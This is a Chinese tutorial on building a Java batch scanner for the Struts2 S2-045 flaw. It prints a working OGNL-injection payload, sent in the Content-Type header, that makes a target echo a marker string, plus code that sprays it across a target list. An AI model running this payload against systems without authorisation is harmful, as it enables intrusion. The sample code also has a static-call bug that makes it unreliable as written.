java编写web漏洞扫描系列 二、(案例)Struts2漏洞扫描器

本文是编写web漏洞扫描器的第二章,将使用一个小案例带领大家入门一下!


开始,上一节我们说了Java发送GET/POST请求,一级简单的实现了一个检测Struts2漏洞的小工具,在本节中,我们将对它进行扩展,增加线程,提高扫描的效率并支持批量扫描!

那么想要以上一共我们可能会需要几个方法:
1.检测漏洞的方法
2.从文本读取文件的方法
3.一个线程池进行管理

以上三个方法就是我们必须要有的方法,缺的只是在一个主类里面进行调用这些方法。好的,先把需要用到的方法写出来!

第一步准备方法

1.文件读取和漏洞检测工具类:

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 工具类
 *
 */
public class Utils {

    /**
     * 读取文件
     * 
     * @param filePath 文件路径
     * @return 返回待检测目标集合
     */
    public static List<String> readFile(String filePath) {
        List<String> target = new ArrayList<>(); // 待检测目标
        File file = new File(filePath); // 读取文件File

        if (!file.exists() || file.isDirectory()) {
            throw new RuntimeException("请检查文件是否存在或路径为文件!");
        }

        try {
            FileReader fileReader = new FileReader(file);
            BufferedReader reader = new BufferedReader(fileReader);
            String line = null;
            while ((line = reader.readLine()) != null) {
                target.add(line);
            }
        } catch (IOException e) {
            System.err.println("读取文件异常!");
            // e.printStackTrace();
        }

        return target;
    }

    /**
     * 漏洞检测方法
     * 
     * @param target 目标
     * 
     */
    public void str045(String target) {
        String payload = "%{(#nikenb='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))."
                + "(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('exist045')).(#o.close())}";

        Map<String, String> headers = new HashMap<>();
        headers.put("User-Agent",
                "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
        headers.put("Content-Type", payload);

        String postResponseBody = Req.sendPost(target, "", headers); // 请求的方法还是上节课的方法
        if (postResponseBody.contains("exist045")) {
            System.out.println("[*] exist st2-045: " + target);
        }
    }

}

接下来我们只差一个够把上面这些方法组合起来的主类了!

第二步主类完善

import java.util.List;

public class Main {

    public static void main(String[] args) {
        String filePath = ""; // 文件路径
        List<String>  target = Utils.readFile(filePath); // 待扫描目标
        for (String t : target) {
            Utils.str045(t); // 检测漏洞
        }

    }

}

当然我们这样只能在开发工具中的使用,我们可能希望打包成jar,随时使用!
那么我们先改造一下程序主类,让它能够接收到参数!

import java.util.List;

public class Main {

    public static void main(String[] args) {
        if (args.length == 0) {
            System.out.println("usage: java -jar struts2Detection.jar --file=target.txt");
            return;
        }

        String filePath = ""; // 文件路径
        for (String string : args) {
            int len = string.indexOf("--file=");
            if (len > -1) {
                filePath = string.substring(len + 7, string.length());
                System.out.println("filePath=" + filePath);
                break;
            }
        }

        List<String> target = Utils.readFile(filePath); // 待扫描目标
        for (String t : target) {
            Utils.str045(t); // 检测漏洞
        }

    }
}

下面说下导出成jar的过程:

对项目右键 - Export - Java - JAR file

然后选择导出路径

MultipartFile漏洞 java java漏洞扫描_java

在经过两次Next之后,会来到一处让我们选择程序入口类,也就是存在Main函数的类,选择之后点击Finish即可!

MultipartFile漏洞 java java漏洞扫描_List_02

使用过程

MultipartFile漏洞 java java漏洞扫描_java_03


MultipartFile漏洞 java java漏洞扫描_jar_04

好的到这里这个单线程版本就已经完成,线程版本会在下节里面讲解。

到这里,大家应该会发现一个问题,就是扫描成功的结果,没有保存!这里留给大家自行完成,可以是保存为txt也好,xml也行!